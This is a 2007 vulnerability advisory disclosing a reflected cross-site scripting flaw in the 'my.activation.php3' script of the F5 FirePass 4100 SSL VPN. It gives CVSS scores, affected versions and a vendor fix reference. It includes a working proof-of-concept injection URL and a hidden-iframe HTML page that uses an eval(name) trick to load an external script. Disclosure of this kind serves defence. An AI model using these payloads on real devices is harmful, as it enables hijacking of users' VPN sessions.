Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.activation.php3' server-side script

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

PR07-14: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.activation.php3' server-side script Date Found: 19th June 2007 Successfully tested on: version 5.5.2 F5 Networks has confirmed the following versions to be vulnerable: FirePass versions 5.4.1 - 5.5.2 FirePass versions 6.0 - 6.0.1 Description: F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.activation.php3" server-side script. No authentication is required to exploit this vulnerability. Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties. Proof of concept (PoC) URL: https://target.tld/my.activation.php3?"></script><textarea>HTML_injectio n_test</textarea><!-- The payload in the example is "></script><textarea>HTML_injection_test</textarea><!-- which injects a 'textarea' box The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('' in this case): <html> <iframe src="https://target.tld/my.activation.php3?%22%3E%3C/script%3E%3Cscript% 3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement('script'));xs s.setAttribute('src','')"></iframe> </html> Successfully tested on: Server environment: F5 FirePass 4100 Client environment: Microsoft Internet Explorer 7.0.5730.11 Severity: Medium/High Authors: Adrian Pastor and Jan Fry of ProCheckUp Ltd ( With thanks to Petko D. Petkov for suggesting the eval(name) technique. References: Fix: F5 Networks has issued SOL7923: r=1

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